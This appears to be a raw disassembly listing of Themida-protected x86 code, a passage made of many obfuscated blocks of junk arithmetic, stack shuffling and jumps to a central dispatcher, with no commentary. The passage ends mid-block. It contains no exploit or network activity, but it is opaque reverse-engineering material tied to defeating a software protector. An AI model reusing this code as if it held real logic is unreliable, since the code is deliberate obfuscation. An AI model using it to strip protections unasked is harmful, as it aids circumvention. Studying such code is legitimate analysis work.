loc_553A29:				; CODE XREF: Themida_:0055B917j
		add	ebp, ecx
		jmp	loc_559342
; ---------------------------------------------------------------------------


loc_553A30:				; CODE XREF: Themida_:0055B60Ej
		mov	edx, 3A95812Dh
		sub	edx, edi
		pop	edi
		add	edx, ebx
		jmp	loc_556F50
; ---------------------------------------------------------------------------


loc_553A3F:				; CODE XREF: Themida_:00558D68j
		mov	ebx, 3F946640h
		add	ebx, 4AD061ECh
		jmp	loc_555DAC
; ---------------------------------------------------------------------------


loc_553A4F:				; CODE XREF: Themida_:00556F51j
		add	ecx, edx
		pop	edx
		sub	ecx, 177759ACh
		add	ecx, 0AAA57A37h
		add	edx, ecx
		pop	ecx
		add	edx, 2
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		or	[esp], ax
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_553A7B:				; CODE XREF: Themida_:005535EAj
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_553A80:				; CODE XREF: Themida_:00557EF8j
		add	ebx, edi
		push	dword ptr [esp]
		jmp	loc_558FB2
; ---------------------------------------------------------------------------
		mov	esp, [esp]
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_553A92:				; CODE XREF: Themida_:0055DC1Bj
		add	eax, edi
		sub	eax, 74FB2A26h
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		push	ebx
		mov	ebx, 5385702Dh
		mov	edi, 0BF54D7CFh
		sub	edi, ebx
		jmp	loc_55A048
; ---------------------------------------------------------------------------


loc_553AB7:				; CODE XREF: Themida_:00555C39j
		pop	ebx
		shl	ecx, 1
		jmp	loc_55B1FD
; ---------------------------------------------------------------------------
unk_553ABF	db    0			; CODE XREF: Themida_:0055A89Cj
; ---------------------------------------------------------------------------
		fcomp	dword ptr [ebx+52h]
		mov	dh, 0BDh
		and	dh, 9Bh
		dec	dh
		sub	esp, 2
		mov	[esp], ax
		mov	al, 30h
		jmp	loc_55D45B
; ---------------------------------------------------------------------------


loc_553ADB:				; CODE XREF: Themida_:005595A9j
		or	eax, eax
		jz	loc_558327
		push	ebx
		push	edi
		push	275E1118h
		jmp	loc_55B6AD
; ---------------------------------------------------------------------------


loc_553AEF:				; CODE XREF: Themida_:00554ADDj
		sub	al, 7Ah
		sub	al, ch
		jmp	loc_553A03
; ---------------------------------------------------------------------------


loc_553AF8:				; CODE XREF: Themida_:00556664j
		push	dword ptr [esp]
		pop	edi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		jmp	loc_55320A
; ---------------------------------------------------------------------------


loc_553B0E:				; CODE XREF: Themida_:0055BDEDj
		mov	[esp], ebx
		mov	ebx, 6B0B6ADCh
		xor	eax, ebx
		pop	ebx
		shr	eax, 2
		push	ecx
		push	edx
		mov	edx, 0ED23A216h
		mov	ecx, edx
		pop	edx
		add	eax, ecx
		pop	ecx
		jmp	loc_557687
; ---------------------------------------------------------------------------


loc_553B2E:				; CODE XREF: Themida_:0055D047j
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_55A379
; ---------------------------------------------------------------------------


loc_553B37:				; CODE XREF: Themida_:0055AC9Aj
		push	edx
		push	3B81h
		mov	[esp], eax
		mov	eax, 667F1CC1h
		jmp	loc_55C047
; ---------------------------------------------------------------------------


loc_553B4A:				; CODE XREF: Themida_:00556604j
		neg	ebx
		sub	ebx, 21C68AB0h
		mov	edx, ebx
		jmp	loc_55ADEA
; ---------------------------------------------------------------------------


loc_553B59:				; CODE XREF: Themida_:0055B21Aj
		add	ebx, 3CFF788Ch
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	ecx
		jmp	loc_55D301
; ---------------------------------------------------------------------------


loc_553B78:				; CODE XREF: Themida_:0055A532j
		sub	edx, ebx
		pop	ebx
		and	esi, edx
		pop	edx
		xor	esi, 15280244h
		add	ebp, esi
		pop	esi
		push	ecx
		push	ebp
		jmp	loc_55EB33
; ---------------------------------------------------------------------------


loc_553B8E:				; CODE XREF: Themida_:00556AD3j
		push	44DCh
		mov	[esp], edx
		mov	dl, 0ADh
		sub	bl, dl
		jmp	loc_55ED4D
; ---------------------------------------------------------------------------


loc_553B9F:				; CODE XREF: Themida_:0055CD8Aj
		pop	eax
		jmp	loc_55D53E
; ---------------------------------------------------------------------------


loc_553BA5:				; CODE XREF: Themida_:0055D4BFj
		mov	esi, 21587924h
		add	eax, 51BC0B71h
		sub	eax, esi
		sub	eax, 51BC0B71h
		pop	esi
		add	eax, 6B62722Eh
		sub	eax, edx
		push	ebx
		mov	ebx, 65EE3141h
		jmp	loc_55B6E9
; ---------------------------------------------------------------------------


loc_553BC9:				; CODE XREF: Themida_:0055B8D4j
		pop	eax
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_55AA22
; ---------------------------------------------------------------------------


loc_553BD5:				; CODE XREF: Themida_:0055CB38j
		sub	dh, 0A4h
		jmp	loc_55D5AF
; ---------------------------------------------------------------------------


loc_553BDD:				; CODE XREF: Themida_:0055B42Bj
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_554B57
; ---------------------------------------------------------------------------


loc_553BE6:				; CODE XREF: Themida_:0055F108j
		add	esp, 4
		jmp	loc_552F45
; ---------------------------------------------------------------------------


loc_553BF1:				; CODE XREF: Themida_:00555873j
		or	dl, bl
		pop	bx
		push	cx
		push	4D82h
		mov	[esp], ebx
		jmp	loc_5542D0
; ---------------------------------------------------------------------------


loc_553C04:				; CODE XREF: Themida_:0055BB9Bj
		pop	esp
		xor	[esp], eax
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_553C0E:				; CODE XREF: Themida_:00556BE0j
		shr	ebp, 1
		shr	ebp, 1
		jmp	loc_559413
; ---------------------------------------------------------------------------


loc_553C17:				; CODE XREF: Themida_:0055F0E0j
		push	dword ptr [esp]
		pop	edi
		push	649Eh
		mov	[esp], ebx
		mov	ebx, esp
		push	esi
		mov	esi, 4
		add	ebx, 3265C0Ah
		add	ebx, esi
		sub	ebx, 3265C0Ah
		pop	esi
		push	6FE2h
		mov	[esp], ecx
		mov	ecx, 1810226Ah
		jmp	loc_5563C6
; ---------------------------------------------------------------------------


loc_553C4C:				; CODE XREF: Themida_:0055EE7Aj
		pop	esi
		sub	eax, 2
		xchg	eax, [esp]
		jmp	loc_553EE0
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_55DF4A
; ---------------------------------------------------------------------------


loc_553C7A:				; CODE XREF: Themida_:00554E42j
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_553C86:				; CODE XREF: Themida_:00558BE2j
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55BCC2
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		sbb	[esp], eax
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_553C9F:				; CODE XREF: Themida_:00554EDDj
		push	edi
		add	dword ptr [esp], 4CDC6EF4h
		jmp	loc_557F43
; ---------------------------------------------------------------------------


loc_553CAC:				; CODE XREF: Themida_:0055E35Bj
		push	ebx
		mov	ebx, 3E027A37h
		push	ecx
		jmp	loc_55DA89
; ---------------------------------------------------------------------------


loc_553CB8:				; CODE XREF: Themida_:0055F1C2j
		sub	ebp, 34732E02h
		and	ebp, 5D600FEDh
		push	689Dh
		mov	[esp], ecx
		mov	ecx, 46D602B7h
		xor	ecx, 41A865A0h
		or	ecx, 4FE54A15h
		xor	ecx, 570F5120h
		or	ecx, 3FAF1DD3h
		xor	ecx, 0F2E88EB6h
		sub	ebp, ecx
		pop	ecx
		xor	ebx, ebp
		jmp	loc_55B5C5
; ---------------------------------------------------------------------------


loc_553CF9:				; CODE XREF: Themida_:00554C3Cj
		add	esi, 0C47AFA4Ah
		add	eax, esi
		pop	esi
		push	esi
		mov	esi, 68D15FCCh
		sub	esi, 79AE7882h
		inc	esi
		sub	esi, 74A31193h
		inc	esi
		sub	esi, 27E6B007h
		sub	eax, 39FA147Fh
		sub	eax, esi
		add	eax, 39FA147Fh
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_558B0E
; ---------------------------------------------------------------------------


loc_553D33:				; CODE XREF: Themida_:00558FADj
		shr	ecx, 7
		push	edi
		mov	edi, 6B6F0D28h
		or	edi, 791A616Fh
		dec	edi
		jmp	loc_55792B
; ---------------------------------------------------------------------------


loc_553D48:				; CODE XREF: Themida_:00553220j
		xor	al, dh
		jmp	loc_554C98
; ---------------------------------------------------------------------------


loc_553D4F:				; CODE XREF: Themida_:0055A726j
		mov	edx, esp
		add	edx, 4
		push	28Ch
		mov	[esp], ebp
		jmp	loc_55ACFA
; ---------------------------------------------------------------------------


loc_553D64:				; CODE XREF: Themida_:0055C951j
		add	edi, 4
		jmp	loc_55C4A6
; ---------------------------------------------------------------------------
		pop	dword ptr [edx]
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_553D76:				; CODE XREF: Themida_:0055D916j
		mov	ebp, 2ADA1943h
		add	ebp, 588C4328h
		jmp	loc_557143
; ---------------------------------------------------------------------------


loc_553D86:				; CODE XREF: Themida_:0055C82Dj
		sub	dl, al
		pop	eax
		sub	esp, 4
		mov	[esp], ecx
		mov	ch, 77h
		sub	al, ch
		pop	ecx
		push	edx
		mov	dh, 0A4h
		sub	al, dh
		pop	edx
		jmp	loc_555362
; ---------------------------------------------------------------------------


loc_553DA2:				; CODE XREF: Themida_:0055E6E5j
		pop	ebp
		add	ebp, 4
		push	703Ah
		mov	[esp], ecx
		jmp	loc_55AC0E
; ---------------------------------------------------------------------------


loc_553DB6:				; CODE XREF: Themida_:00555961j
		push	4A2h
		jmp	loc_5596B3
; ---------------------------------------------------------------------------


loc_553DC0:				; CODE XREF: Themida_:00557C4Fj
		pop	esi
		sub	ebx, 7FBDDC54h
		sub	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	4511h
		mov	[esp], ecx
		jmp	loc_55684C
; ---------------------------------------------------------------------------


loc_553DDF:				; CODE XREF: Themida_:0055DAE5j
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_55CD4D
; ---------------------------------------------------------------------------


loc_553DEE:				; CODE XREF: Themida_:00554AA2j
		shr	edi, 8
		push	ecx
		mov	ecx, 101616B8h
		sub	ecx, 274F6964h
		xor	ecx, 2A503EF5h
		sub	edi, 113437EAh
		sub	edi, ecx
		add	edi, 113437EAh
		pop	ecx
		xor	ebx, edi
		pop	edi
		jmp	loc_55ED2A
; ---------------------------------------------------------------------------


loc_553E1A:				; CODE XREF: Themida_:00556E4Aj
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_55E444
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5747D8


loc_553E28:				; CODE XREF: sub_5747D8-1BEBEj
		mov	eax, [esp+2Ch+var_2C]
		add	esp, 4
		jmp	loc_55DED9
; END OF FUNCTION CHUNK	FOR sub_5747D8
; ---------------------------------------------------------------------------
		push	dword ptr [edi+40h]
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_553E3E:				; CODE XREF: Themida_:00553625j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		sub	edx, 29BC05D5h
		sub	edx, 49C942E3h
		sub	edx, 87E60EFh
		sub	edx, eax
		jmp	loc_556ECC
; ---------------------------------------------------------------------------


loc_553E67:				; CODE XREF: Themida_:00554D96j
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_55EA28
; ---------------------------------------------------------------------------


loc_553E76:				; CODE XREF: Themida_:00556F30j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 3DC60F51h
		push	esi
		push	ebx
		push	edx
		mov	edx, 57552700h
		and	edx, 382D7E31h
		shl	edx, 1
		shl	edx, 8
		neg	edx
		and	edx, 5E0D1AF4h
		xor	edx, 23335EB5h
		mov	ebx, edx
		pop	edx
		mov	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	esi, 0C68EB09Bh
		xor	ecx, esi
		mov	esi, [esp]
		jmp	loc_55DEA2
; ---------------------------------------------------------------------------


loc_553EC7:				; CODE XREF: Themida_:0055CE3Ej
		push	284h
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_5540EB
; ---------------------------------------------------------------------------


loc_553EE0:				; CODE XREF: Themida_:00553C55j
		pop	esp
		jmp	loc_554856
; ---------------------------------------------------------------------------


loc_553EE6:				; CODE XREF: Themida_:00557E44j
		add	esp, 4
		jmp	loc_558DA1
; ---------------------------------------------------------------------------


loc_553EEE:				; CODE XREF: Themida_:0055ACF5j
		add	ebp, 4
		jmp	loc_55DA94
; ---------------------------------------------------------------------------


loc_553EF9:				; CODE XREF: Themida_:0055E806j
		xchg	eax, [esp]
		jmp	loc_558AC0
; ---------------------------------------------------------------------------


loc_553F01:				; CODE XREF: Themida_:00558961j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_55AE09
; ---------------------------------------------------------------------------


loc_553F12:				; CODE XREF: Themida_:00555060j
		mov	edi, 7A2D7486h
		push	eax
		mov	eax, 5BC80AF0h
		neg	eax
		xor	eax, 5A983D60h
		jmp	loc_5566B5
; ---------------------------------------------------------------------------


loc_553F29:				; CODE XREF: Themida_:005587CFj
		mov	[esp], eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		add	eax, 2
		jmp	loc_55957F
; ---------------------------------------------------------------------------


loc_553F4B:				; CODE XREF: Themida_:0055D456j
		add	ecx, 4
		jmp	loc_554257
; ---------------------------------------------------------------------------


loc_553F56:				; CODE XREF: Themida_:0055310Cj
		push	ebx
		mov	ebx, 6396223Ch
		xor	esi, ebx
		pop	ebx
		jmp	loc_55BF0F
; ---------------------------------------------------------------------------


loc_553F64:				; CODE XREF: Themida_:00557E56j
					; Themida_:0055DC94j
		push	ebx
		push	1E28h
		mov	[esp], esi
		push	46447CC3h
		mov	esi, [esp]
		add	esp, 4
		add	[esp+4], esi
		mov	esi, [esp]
		add	esp, 4
		mov	eax, [esp]
		jmp	loc_557BCA
; ---------------------------------------------------------------------------


loc_553F8D:				; CODE XREF: Themida_:0055E067j
		sub	ebp, 725C08CDh
		jmp	loc_55F1C0
; ---------------------------------------------------------------------------


loc_553F98:				; CODE XREF: Themida_:0055D59Cj
		add	edi, edx
		pop	edx
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		cmp	ecx, eax
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_553FB2:				; CODE XREF: Themida_:0055738Cj
		mov	edi, 0B418FA5h
		add	edi, 520E6010h
		add	edi, ebx
		sub	edi, 520E6010h
		mov	ebx, [esp]
		jmp	loc_557FE8
; ---------------------------------------------------------------------------


loc_553FCD:				; CODE XREF: Themida_:005597C6j
		mov	[esp], ecx
		jmp	loc_554565
; ---------------------------------------------------------------------------


loc_553FD5:				; CODE XREF: Themida_:00557B07j
		pop	esp
		jmp	loc_554C8A
; ---------------------------------------------------------------------------


loc_553FDB:				; CODE XREF: Themida_:0055881Fj
		and	ecx, eax
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		shr	ecx, 0Ah
		jmp	loc_55891F
; ---------------------------------------------------------------------------


loc_553FF8:				; CODE XREF: Themida_:00559E3Dj
		pop	ebx
		add	cl, 95h
		xchg	bl, cl
		dec	bl
		xchg	bl, cl
		jmp	loc_557816
; ---------------------------------------------------------------------------


loc_554007:				; CODE XREF: Themida_:00558999j
		add	dword ptr [esp], 353C0B8Eh
		jmp	loc_55C727
; ---------------------------------------------------------------------------


loc_554013:				; CODE XREF: Themida_:0055AEF2j
		add	edi, 4
		push	eax
		mov	eax, 4
		sub	edi, eax
		push	dword ptr [esp]
		jmp	loc_55B1D0
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	1ECFh
		mov	[esp], ebx
		mov	ebx, 6C3DEC7Bh
		xor	eax, ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		push	ebx
		jmp	loc_55E9B3
; ---------------------------------------------------------------------------


loc_554048:				; CODE XREF: Themida_:0055E656j
		mov	fs:[edx], ax
		jmp	loc_55CAC5
; ---------------------------------------------------------------------------


loc_554051:				; CODE XREF: Themida_:0055C530j
		add	esp, 4
		jmp	loc_552DCD
; ---------------------------------------------------------------------------
		push	307Fh
		mov	[esp], edx
		jmp	loc_5591EB
; ---------------------------------------------------------------------------


loc_554069:				; CODE XREF: Themida_:005552A9j
		push	esi
		jmp	loc_555695
; ---------------------------------------------------------------------------


loc_55406F:				; CODE XREF: Themida_:00557C24j
		xor	ecx, [esp]
		pop	esp
		shr	byte ptr [esp],	cl
		pushf
		jmp	loc_55C7D4
; ---------------------------------------------------------------------------


loc_55407C:				; CODE XREF: Themida_:005566EBj
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	cl, dl
		jmp	loc_559DF2
; ---------------------------------------------------------------------------


loc_554089:				; CODE XREF: Themida_:00559B9Bj
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		jmp	loc_554ABA
; ---------------------------------------------------------------------------


loc_5540B2:				; CODE XREF: Themida_:00554EF1j
		mov	ecx, 7B37548Ch
		jmp	loc_557E77
; ---------------------------------------------------------------------------


loc_5540BC:				; CODE XREF: Themida_:0055BDC4j
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	4090h
		mov	[esp], ecx
		push	1242h
		mov	[esp], esi
		mov	esi, 30C666B9h
		not	esi
		shl	esi, 7
		push	edi
		jmp	loc_55B9B2
; ---------------------------------------------------------------------------


loc_5540E5:				; CODE XREF: Themida_:0055E0FFj
		pop	eax
		jmp	loc_55A24A
; ---------------------------------------------------------------------------


loc_5540EB:				; CODE XREF: Themida_:00553EDBj
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ecx
		mov	cl, 43h
		sub	cl, 0EAh
		not	cl
		push	bx
		jmp	loc_558DF3
; ---------------------------------------------------------------------------


loc_554100:				; CODE XREF: Themida_:0055A245j
		pop	ebp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_555E74
; ---------------------------------------------------------------------------


loc_55410F:				; CODE XREF: Themida_:0055DE4Bj
		push	edx
		mov	dh, 75h
		mov	bl, dh
		pop	edx
		jmp	loc_556F35
; ---------------------------------------------------------------------------


loc_55411A:				; CODE XREF: Themida_:0055B003j
		inc	ebp
		push	ebx
		push	ecx
		jmp	loc_5538F8
; ---------------------------------------------------------------------------


loc_554122:				; CODE XREF: Themida_:00554673j
		push	edi
		mov	edi, 0E26A8961h
		jmp	loc_55456A
; ---------------------------------------------------------------------------


loc_55412D:				; CODE XREF: Themida_:0055DEC5j
		shr	esi, 1
		sub	esi, 6D3B64B5h
		sub	esi, 929C0E7Fh
		push	edi
		jmp	loc_55A866
; ---------------------------------------------------------------------------


loc_554141:				; CODE XREF: Themida_:0055CB84j
		sub	esi, 73880234h
		pop	ecx
		add	esi, 2
		jmp	loc_556E89
; ---------------------------------------------------------------------------


loc_554153:				; CODE XREF: Themida_:0055473Bj
					; Themida_:0055BD17j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_55F15D
; ---------------------------------------------------------------------------


loc_554164:				; CODE XREF: Themida_:00555B63j
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], esi
		push	2DEh
		mov	[esp], edx
		push	edi
		mov	edi, 54D24266h
		mov	edx, 2980C6C2h
		add	edx, edi
		jmp	loc_5581DF
; ---------------------------------------------------------------------------


loc_554198:				; CODE XREF: Themida_:0055ED25j
		pop	esi
		push	esi
		jmp	loc_555402
; ---------------------------------------------------------------------------


loc_55419F:				; CODE XREF: Themida_:00558127j
		dec	edi
		xchg	ecx, edi
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		xchg	ecx, edi
		add	edi, 615D0AEBh
		add	edi, 0C1916099h
		sub	ebp, 5DD37C0Dh
		sub	ebp, 0DF23340h
		jmp	loc_5554EA
; ---------------------------------------------------------------------------


loc_5541C6:				; CODE XREF: Themida_:00557C5Ej
		push	dx
		mov	dl, 76h
		xor	cl, dl
		pop	dx
		add	cl, 3Ah
		push	edx
		jmp	loc_558868
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	word ptr [esp],	cl
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_5541E7:				; CODE XREF: Themida_:00558C2Bj
		pop	ebp
		pop	eax
		mov	edi, esi
		pop	esi
		mov	ecx, [esp]
		jmp	loc_558DB5
; ---------------------------------------------------------------------------


loc_5541F4:				; CODE XREF: Themida_:0055C5F3j
		push	edi
		push	ecx
		jmp	loc_55C06E
; ---------------------------------------------------------------------------


loc_5541FB:				; CODE XREF: Themida_:00559A47j
		push	esi
		push	ecx
		jmp	loc_559A9A
; ---------------------------------------------------------------------------


loc_554202:				; CODE XREF: Themida_:0055EF2Ej
		movzx	eax, al
		lea	eax, [edi+eax*4]
		push	1E7Dh
		mov	[esp], esi
		push	esp
		pop	esi
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_557A07
; ---------------------------------------------------------------------------


loc_55421F:				; CODE XREF: Themida_:0055E32Bj
		sub	edx, 0FD621DDh
		and	edx, 50F934C1h
		xor	edx, 50711402h
		add	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		pop	esp
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_55ED59
; ---------------------------------------------------------------------------


loc_554251:				; CODE XREF: Themida_:0055A30Bj
		pop	edx
		jmp	loc_5531AE
; ---------------------------------------------------------------------------


loc_554257:				; CODE XREF: Themida_:00553F51j
		push	esi
		mov	esi, 321404C3h
		or	esi, 48121C85h
		inc	esi
		shr	esi, 7
		sub	esi, 0F42C35h
		add	ecx, esi
		jmp	loc_55E666
; ---------------------------------------------------------------------------
		push	dword ptr fs:[edx]
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55427C:				; CODE XREF: Themida_:0055A202j
		pop	esi
		jmp	loc_558C30
; ---------------------------------------------------------------------------


loc_554282:				; CODE XREF: Themida_:00558E6Fj
		xor	[esp], esi
		jmp	loc_55B4DE
; ---------------------------------------------------------------------------


loc_55428A:				; CODE XREF: Themida_:0055BD8Ej
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55428F:				; CODE XREF: Themida_:0055C340j
		add	eax, edx
		mov	edx, [esp]
		add	esp, 4
		push	eax
		jmp	loc_55CD14
; ---------------------------------------------------------------------------


loc_5542A0:				; CODE XREF: Themida_:00557BC5j
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		add	esi, 2854173Bh
		jmp	loc_55AF66
; ---------------------------------------------------------------------------


loc_5542B4:				; CODE XREF: Themida_:0055675Bj
		xor	ecx, [esp]
		jmp	loc_557C21
; ---------------------------------------------------------------------------


loc_5542BC:				; CODE XREF: Themida_:0055E717j
		mov	ebp, 75A74909h
		sub	edx, ebp
		jmp	loc_55C17E
; ---------------------------------------------------------------------------


loc_5542C8:				; CODE XREF: Themida_:0055E105j
		xchg	ecx, [esp]
		jmp	loc_554945
; ---------------------------------------------------------------------------


loc_5542D0:				; CODE XREF: Themida_:00553BFFj
		push	edx
		mov	dl, 0FAh
		mov	bl, 5Dh
		sub	bl, dl
		pop	edx
		mov	cl, bl
		jmp	loc_5547EE
; ---------------------------------------------------------------------------


loc_5542DF:				; CODE XREF: Themida_:0055C4BBj
		pop	ecx
		xor	esi, 79D94AF3h
		push	esi
		pop	edx
		jmp	loc_55E8D7
; ---------------------------------------------------------------------------


loc_5542ED:				; CODE XREF: Themida_:0055EA52j
		sub	ecx, 0D9E8A51Ch
		xor	edx, ecx
		pop	ecx
		push	ecx
		jmp	loc_55DD26
; ---------------------------------------------------------------------------


loc_5542FC:				; CODE XREF: Themida_:0055B098j
		add	ebx, 35667A2Bh
		push	ebx
		jmp	loc_55451B
; ---------------------------------------------------------------------------


loc_554308:				; CODE XREF: Themida_:00557244j
		xor	esi, edi
		neg	esi
		add	esi, 0FFFFFFFFh
		jmp	loc_5545FB
; ---------------------------------------------------------------------------


loc_554314:				; CODE XREF: Themida_:0055CFB8j
		pop	esp
		or	[esp], al
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55431E:				; CODE XREF: Themida_:00558B9Ej
		pop	edx
		add	esp, 4
		mov	ebx, 7B2D315Bh
		xor	ebx, eax
		pop	eax
		sub	esi, ebx
		pop	ebx
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], cx
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55433F:				; CODE XREF: Themida_:00556005j
		mov	bh, 6Bh
		add	bh, 75h
		mov	cl, bh
		pop	ebx
		inc	cl
		xor	cl, 6Ah
		sub	cl, 0A2h
		add	al, cl
		pop	cx
		shl	al, 5
		jmp	loc_55D2C8
; ---------------------------------------------------------------------------


loc_55435B:				; CODE XREF: Themida_:0055A76Ej
		push	dword ptr [esp]
		pop	edx
		jmp	loc_55BA92
; ---------------------------------------------------------------------------


loc_554364:				; CODE XREF: Themida_:0055EA68j
		pop	esp
		mov	[esp], esp
		jmp	loc_55EAFF
; ---------------------------------------------------------------------------


loc_55436D:				; CODE XREF: Themida_:005576DEj
		inc	edi
		or	edi, 567B76A9h
		sub	edi, 45166EB5h
		sub	esi, edi
		jmp	loc_55C6F3
; ---------------------------------------------------------------------------


loc_554381:				; CODE XREF: Themida_:0055397Cj
		mov	ebx, 0D484690h
		jmp	loc_55DC6B
; ---------------------------------------------------------------------------


loc_55438B:				; CODE XREF: Themida_:0055338Cj
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	esi
		push	edx
		jmp	loc_55F035
; ---------------------------------------------------------------------------


loc_55439F:				; CODE XREF: Themida_:00554C4Dj
		sub	esp, 4
		mov	[esp], eax
		mov	edx, [esp]
		push	33E9h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		push	ebp
		push	eax
		mov	eax, 60A82902h
		jmp	loc_55725F
; ---------------------------------------------------------------------------


loc_5543C4:				; CODE XREF: Themida_:00555F61j
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ecx, 66C32526h
		jmp	loc_5586ED
; ---------------------------------------------------------------------------


loc_5543D7:				; CODE XREF: Themida_:0055D829j
		mov	[esp], edi
		mov	edi, esp
		push	esi
		jmp	loc_5588BA
; ---------------------------------------------------------------------------


loc_5543E2:				; CODE XREF: Themida_:0055EDCDj
		push	ecx
		mov	ecx, 0E114A22h
		push	edi
		mov	edi, 6C1101B9h
		and	ecx, edi
		pop	edi
		dec	ecx
		xor	ecx, 15477EA7h
		dec	ecx
		sub	ecx, 65149E0h
		add	ecx, 0ECFACB2Bh
		sub	ebx, ecx
		jmp	loc_552E53
; ---------------------------------------------------------------------------


loc_55440C:				; CODE XREF: Themida_:005546C7j
		pop	esi
		mov	ebp, 0FF4FA820h
		sub	ebp, 47B9203Ch
		add	ebp, edx
		add	ebp, 47B9203Ch
		mov	edx, [esp]
		jmp	loc_55CF2C
; ---------------------------------------------------------------------------


loc_554428:				; CODE XREF: Themida_:00556D06j
		push	eax
		jmp	loc_5563EB
; ---------------------------------------------------------------------------


loc_55442E:				; CODE XREF: Themida_:0055AAF6j
		mov	edx, [esp]
		jmp	loc_5533D6
; ---------------------------------------------------------------------------


loc_554436:				; CODE XREF: Themida_:00554F3Cj
		xor	esi, 159525Eh
		sub	ecx, esi
		pop	esi
		jmp	loc_55E104
; ---------------------------------------------------------------------------


loc_554444:				; CODE XREF: Themida_:00554609j
		sub	ecx, 71EA0C03h
		jmp	loc_55C11A
; ---------------------------------------------------------------------------


loc_55444F:				; CODE XREF: Themida_:005562CEj
		mov	dh, 0
		jmp	loc_555344
; ---------------------------------------------------------------------------


loc_554456:				; CODE XREF: Themida_:0055B5AEj
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_5573BF
; ---------------------------------------------------------------------------


loc_554466:				; CODE XREF: Themida_:0055394Fj
		add	dword ptr [esp], 4
		pop	ecx
		jmp	loc_554E08
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5747D8


loc_554473:				; CODE XREF: sub_5747D8-162CAj
		neg	ah
		xor	ah, 93h
		jmp	loc_558918
; END OF FUNCTION CHUNK	FOR sub_5747D8
; ---------------------------------------------------------------------------


loc_55447D:				; CODE XREF: Themida_:0055CA00j
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_558FEB
; ---------------------------------------------------------------------------


loc_55448C:				; CODE XREF: Themida_:00552EB7j
		push	esi
